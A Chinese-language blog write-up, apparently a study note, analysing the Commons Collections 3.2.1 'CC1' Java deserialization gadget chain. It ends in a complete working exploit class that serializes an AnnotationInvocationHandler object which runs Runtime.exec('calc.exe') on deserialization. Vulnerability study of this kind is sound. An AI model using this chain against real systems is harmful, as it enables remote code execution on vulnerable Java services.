cc1

cc1

环境要求:

jdk<8u71

cc依赖 3.2.1

下载源码方便调试

链子:

1.

核心漏洞点是invoketransformer的tranform方法通过反射实现了任意类的任意方法调用,此处可以实现rce

1
2
3
4
5
6
7
8
9
10
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}

示例: 利用invokertranformer反射调用Runtime.getRuntime()的exec方法弹计算器

1
2
3
4
5
6
7
8
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
Runtime runtime = Runtime.getRuntime();
invokerTransformer.transform(runtime);

而且invoketranformer可以直接构造

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

则只需要去寻找哪些类里面调用了tranform方法,再把我们构造好的invoketranformer传入

2.

我们发现在tranformedmap类有一个checksetvalue方法,里面会调用tranform方法

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

此处存在两个问题

  • 1)checkSetValue方法是protected修饰的,无法直接调用,需要找到调用该方法的位置
  • 2)方法中是valueTransformer调用的transform()方法,所以需要知道valueTransformer怎么来的

先解决问题2,跟进一下valueTransformer查看它的赋值

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

发现是发现了,但是是私有的没法在外面使用

继续查找发现了一个装饰器,调用了构造方法同时返回了这个类(那还说啥)

1
2
3
4
5
6
7
8
9
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer); //此处调用了构造方法
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}

再来看问题1,赋值解决了,如何调用checkSetValue方法

查找用法,只有一个地方调用了它

AbstractInputCheckedMapDecorator的子类MapEntry的setvalue方法

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

问题就变成了setvalue怎么调用,怎么赋值

首先是怎么构造一个MapEntry类

发现了一条构造类的链子:

AbstractInputCheckedMapDecorator.entrySet() 构造一个EntrySet类

EntrySet.iterator() 构造一个EntrySetIterator类

EntrySetIterator.netx() 构造一个MapEntry类

因为AbstractInputCheckedMapDecorator 抽象类是不能实例化的,恰好tranformedmap是他的子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class} ,
new Object[]{"calc"});
Runtime runtime = Runtime.getRuntime();

HashMap map = new HashMap();
map.put("key","value"); //注意后面方法的调用涉及到对map的遍历,所以此处map的值不能为空
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

System.out.println(transformedMap.entrySet().getClass());
System.out.println(transformedMap.entrySet().iterator().getClass());
System.out.println(transformedMap.entrySet().iterator().next().getClass());
transformedMap.entrySet().iterator().next().setValue(runtime);

也可以用循环解决

1
2
3
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}

即在调用tranformedmap的键值对的setValue()方法时,会触发tranformedMap的checksetvalue方法,进而实现rce(这个类也真是神奇

3.

继续向上查找谁调用了setValue方法

AnnotationInvocationHandler的readObject方法调用了setValue!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //有点熟悉
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //就是这里
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}

再去看看构造函数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

参数可控,直接让memberValues等于tranformedmap就好了

有一个问题AnnotationInvocationHandler类的构造方法是私有的,要通过反射才能序列化

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, transformedMap);

至此链条基本完成。

总结:

反序列化时

AnnotationInvocationHandler.readobject() –> tranformedmap的entryset.setValue() –> tranformedmap.checksetvalue() –> invokertranformer.tranform

从而实现任意类的任意方法调用

一些调整:

1.进不去循环

1
2
3
4
5
6
7
8
9
10
11
12
13

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { //有点熟悉
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //就是这里
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}

发现用上面的思路时弹不出来计算器的,跟进发现在memberType的判断这里挂了,因为@Override是没有的,所以我们换用@Target注解,里面有个value,同时map的键名也要改成value

2.runtime不能被序列化

runtime没有实现seri接口,所以无法被序列化。

提前做反射调用也不行,考虑在序列化的过程中实现反射调用,还记得invokertranformer可以实现任意类的任意方法调用,class类是可以序列化的,所以利用这个调用class在序列化的过程中反射获取runtime即可

1
2
3
4
        //Runtime不能被直接序列化,考虑使用反射调用
Method getRuntimeMethod=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

如果是这样子就要调用三次,非常麻烦

想到chainedtransformer类可以链式调用,而且上一步的输出作为下一步的输入,非常适合

1
2
3
4
5
6
7
8
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class), //保证无论什么输入输出的都是runtime
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package com.transformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class Transform {
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
oss.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
//Runtime不能被直接序列化,考虑使用反射调用
//Class a=Runtime.class;
//Method getRuntimeMethod=a.getMethod("getRuntime",null);
//Runtime r=(Runtime)getRuntimeMethod.invoke(null,null);
//Method execMethod=a.getMethod("exec", String.class);
//execMethod.invoke(r,"calc");

// Method getRuntimeMethod=(Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r=(Runtime)new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer(
// "exec", new Class[]{String.class}, new Object[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate (map, null, chainedTransformer);
//for(Map.Entry entry:transformedMap.entrySet())
// entry.setValue(runtime);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler=c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandler.setAccessible(true);
Object hacker= annotationInvocationHandler.newInstance(Target.class,transformedMap);
serialize(hacker);
unserialize("hacker.bin");
}

}

调整后的总结:

​ 注意此处注解和map的key要对上

AnnotationInvocationHandler.readobject() –> tranformedmap的entryset.setValue() –> tranformedmap.checksetvalue() –> chainedTransformer.tranform(可以是任意输入)

调用了四次,在反序列化的过程中获取runtime

关键跟进:

image-20251006180421129

当注解和map的key对的上就会来到这一步

image-20251006180537281

发现输入的是一个奇怪的类,但是没有影响,因为我们第一步用的是ConstantTransformer

image-20251006180710555

获取runtime

image-20251006180824586

最后落脚到invoketranformer

Java反序列化利用链篇 | CC1链_全网最菜的分析思路【本系列文章的分析重点】-CSDN博客


cc1
http://fearless-123.github.io/2025/09/24/cc1/
作者
fearless123
发布于
2025年9月24日
许可协议